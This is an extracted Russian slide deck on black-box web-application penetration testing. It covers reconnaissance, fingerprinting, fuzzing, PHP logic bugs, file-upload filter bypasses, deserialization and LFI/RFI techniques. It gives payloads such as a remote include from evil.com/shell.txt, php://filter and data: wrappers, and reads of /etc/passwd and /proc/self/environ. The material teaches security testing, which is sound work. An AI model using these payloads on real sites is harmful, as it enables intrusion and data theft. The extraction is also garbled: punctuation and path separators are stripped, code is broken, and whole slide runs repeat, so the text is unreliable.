Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 4: Blackbox-тестирование веб-приложений

Black box

Чёрный ящик = Black box

Анализ защищённости

bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д

bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию

bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных

текстов

Почему black box

bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников

bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще

bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией

План

bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)

bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации

Первые шагиbull Перед Вами веб-приложение Что делать

Первые шаги

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 5: Blackbox-тестирование веб-приложений

Чёрный ящик = Black box

Анализ защищённости

bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д

bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию

bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных

текстов

Почему black box

bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников

bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще

bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией

План

bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)

bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации

Первые шагиbull Перед Вами веб-приложение Что делать

Первые шаги

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

